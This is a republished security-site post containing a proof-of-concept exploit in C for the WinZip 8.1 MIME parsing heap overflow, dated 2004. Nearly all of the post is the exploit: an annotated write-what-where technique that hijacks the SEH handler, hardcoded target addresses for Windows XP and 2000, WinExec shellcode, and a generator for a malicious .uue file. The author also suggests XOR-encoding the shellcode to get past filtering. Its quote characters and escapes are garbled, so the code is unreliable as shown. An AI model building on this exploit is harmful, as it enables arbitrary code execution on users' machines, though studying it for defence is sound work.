‘WinZip MIME Parsing Buffer Overflow Exploit’

Summary

‘As we reported in our previous article: WinZip MIME Parsing Buffer Overflow, a vulnerability in WinZip allows an attacker to cause the program to execute arbitrary code by overflowing an internal buffer in the WinZip program.’

Credit:

‘The information has been provided by Snooq.’


Details

Exploit:
/*
 * Author: snooq
 * Date: 14 April 2004
 *
 * This is a PoC exploit for WinZip32 MIME Parsing Overflow
 * bug reported by iDefense on 27 February 2004.
 *
 * The original advisory is found here:
 * http://www.idefense.com/application/poi/display?id=76
 *
 * This version is SP dependent becoz my idiotic shellcode
 * uses hardcoded addresses…. =p
 *
 * So, test it locally only. Afterall, it’s just a PoC rite?
 * Nonetheless, it’s possible to make it more portable by
 * using a universal shellcode…
 *
 * but beware… chars like <>,.:;”=[]/ are filtered…
 * so feel free to XOR it.. =p
 *
 * Notes
 * =====
 * 1) Tested against WinZip 8.1 on WinXP SP1, Win2K SP1 only
 *
 * 2) You need to first launch WinZip before you ‘Open’
 *
 * 3) Double clicking the ‘uue’ won’t work
 * why so? go figure it out urself… =p
 * once u know why… u’d then know how to fix it…
 *
 * Greetz
 * ======
 * # eugene, nam, jf, valmont and the rest..
 * # sk, shashank + Security_Auditors folks…
 * # iDefense folks… SiG^2 guys etc…
 * # lastly.. Greg Hoglund for his ‘Cross Page’ stuffs… =p
 */

/*
 * A snapshot of the ‘crash’
 * =========================
 *
 * Our buffer on the heap looks like this:
 *
 * [….AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEEEEEEEEEEEEEEE….]
 * |— heap grows this way ———>
 *
 *
 * and the CPU is about to execute the following code:
 *
 * 0049BFFC |> 8B4C13 08 MOV ECX,DWORD PTR DS:[EBX+EDX+8]
 * 0049C000 |. 8B7C13 04 MOV EDI,DWORD PTR DS:[EBX+EDX+4]
 * 0049C004 |. 8979 04 MOV DWORD PTR DS:[ECX+4],EDI
 * 0049C007 |. 8B4C13 04 MOV ECX,DWORD PTR DS:[EBX+EDX+4]
 * 0049C00B |. 8B7C13 08 MOV EDI,DWORD PTR DS:[EBX+EDX+8]
 * 0049C00F |. 035D F8 ADD EBX,DWORD PTR SS:[EBP-8]
 * 0049C012 |. 8979 08 MOV DWORD PTR DS:[ECX+8],EDI
 * 0049C015 |. 895D F4 MOV DWORD PTR SS:[EBP-C],EBX
 *
 * and, EBX register seems to be under our control… =p
 *
 * EDX = ptr to ‘DDDD’
 * EBX = ‘DDDD’ – 1
 *
 * By carefully choosing a value for EBX, we are able to manipulate
 * ECX at 0049BFFC and EDI at 0049C000.
 *
 * If we set ‘DDDD’=0xfffffff5 (-11),
 *
 * -> EBX would be ‘0xfffffff4’ (-12)
 * -> [EBX+EDX+8] becomes [EDX-4] and ECX = ‘CCCC’
 * -> [EBX+EDX+4] becomes [EDX-8] and EDI = ‘BBBB’
 *
 * Effectively at 0049C004, we can write a DWORD ‘BBBB’ to [‘CCCC’+4]
 * After that…..
 *
 * -> [EBX+EDX+4] becomes [EDX-8] and ECX = ‘BBBB’
 * -> [EBX+EDX+8] becomes [EDX-4] and EDI = ‘CCCC’
 *
 * Finally we reach MOV DWORD PTR DS:[‘BBBB’+8],’CCCC’ at 0049C012..
 *
 * Choosing the rite values for ‘BBBB’ + ‘CCCC’, execution flow could
 * be reliably diverted into our shellcode.
 *
 * In this exploit, I’ve chosen to install our code as the main thread’s
 * top exception handler so that when exception is triggered at 0049C012,
 * our code will be called to ‘handle’ it… =p
 *
 * This is how I did it but I’m not sure if this is the best way.
 * If you know of any other better way to exploit this…..
 * pleaseeeeee tell me……. 🙂
 *
 */

#include <windows.h>
#include <stdlib.h>
#include <stdio.h>

#define TARGET 1
#define NOP 0x90

/*
 * Gap for NOPs (not really needed)
 */
#define PAD 0

/*
 * This ‘RANGE’ nonsense was useful
 * in locating the ‘index’, i.e. ‘DDDD’
 */
#define RANGE 1*4

/*
 * Where we control the ‘index’,
 * i.e EBX register’s value
 */
#define IDXOFF 268-RANGE+4

/*
 * We find our ‘where’ + ‘what’ here…
 */
#define OFFSET IDXOFF-8

/*
 * -12 bytes from ‘index’ into where
 * ‘where’+’what’ are…
 */
#define INDEX 0xfffffff5

#define BSIZE 1024
#define FNAME ‘snooq.uue’
#define SSIZE sizeof(shellcode)-1
#define HSIZE sizeof(header)-1

char buff[BSIZE];
long where, what;

struct {
 char *os;
 long topSEH;
 long jmpADD;
}

targets[] = {
 {
  ‘Window XP (en) SP1’,
  0x7ffddffe, // Per Thread Top SEH – 2
  0xf27cffff // [this address + 4] -> shellcode
 },
 {
  ‘Window 2000 (en) SP1’,
  0x7ffddffe, // Per Thread Top SEH – 2
  0xf354ffff // [this address + 4] -> shellcode
 },
}, v;

/*
 * Harmless payload that spawns ‘notepad.exe’… =p
 */

char shellcode[]=
 ‘x55’ // push ebp
 ‘x8bxec’ // mov ebp, esp
 ‘x33xf6’ // xor esi, esi
 ‘x56’ // push esi
 ‘x68x2ex65x78x65’ // push ‘exe.’
 ‘x68x65x70x61x64’ // push ‘dape’
 ‘x68x90x6ex6fx74’ // push ‘ton’
 ‘x46’ // inc esi
 ‘x56’ // push esi
 ‘x8dx7dxf1’ // lea edi, [ebp-0xf]
 ‘x57’ // push edi
 ‘xb8XXXX’ // mov eax, XXXX -> WinExec()
 ‘xffxd0’ // call eax
 ‘x4e’ // dec esi
 ‘x56’ // push esi
 ‘xb8YYYY’ // mov eax, YYYY -> ExitProcess()
 ‘xffxd0′; // call eax

char header[]=’Content-Type: multipart/mixed; boundary=’;

void err_exit(char *s)
{
 printf(‘%sn’,s);
 exit(0);
}

void filladdr()
{
 char *ptr;
 int i=0, index=INDEX, idxoff=IDXOFF;

 long addr1=(long)WinExec;
 long addr2=(long)ExitProcess;

 printf(‘-> WinExec() is at: 0x%08xn’,addr1);
 printf(‘-> ExitProcess() is at: 0x%08xn’,addr2);

 ptr=shellcode;

 while (*ptr!=’’) {
  if (*((long *)ptr)==0x58585858) {
   printf(‘-> Filling in WinExec at offset: %dn’,(ptr-shellcode));
   *((long *)ptr)=addr1;
  }
  if (*((long *)ptr)==0x59595959) {
   printf(‘-> Filling in ExitProcess at offset: %dn’,(ptr-shellcode));
   *((long *)ptr)=addr2;
  }
  ptr++;
 }

 ptr=buff+HSIZE+OFFSET;
 printf(‘-> ‘what’ == 0x%08x at offset %dn’,what,OFFSET);
 *((long *)ptr)=what;

 ptr+=4;
 printf(‘-> ‘where’ == 0x%08x at offset %dn’,where,OFFSET+4);
 *((long *)ptr)=where-4;

 ptr=buff+HSIZE+idxoff;

 for (;i<RANGE;i+=4) {
  printf(‘-> ‘index’ == 0x%08x at offset %dn’,index-i,idxoff+i);
  *((long *)(ptr+i))=index-i;
 }

}

void buildfile()
{
 int i=0;

 FILE *fd;

 if ((fd=fopen(FNAME,’w’))==NULL) {
  err_exit(‘-> Failed to generate file…’);
 }

 for(;i<sizeof(buff);) {
  fprintf(fd,’%c’,buff[i++]);
 }

 fclose(fd);

 printf(‘-> ‘%s’ generated….n’,FNAME);

}

int main(int argc, char *argv[])
{
 int i=0, t=TARGET;

 if (argc==2) { t=atoi(argv[1]); }

 where=targets[t-1].topSEH;
 what=targets[t-1].jmpADD;

 printf(‘nWinZip32 MIME Parsing Overflow PoC, By Snooq [jinyean@hotmail.com]nn’);

 memset(buff,NOP,BSIZE);
 printf(‘-> Generating ‘uue’ file for target #%d…n’,t);
 memcpy(buff,header,HSIZE);
 filladdr();
 memcpy(buff+HSIZE+IDXOFF+4+PAD,shellcode,SSIZE);
 buildfile();

 return 0;

}’

Categories: Exploits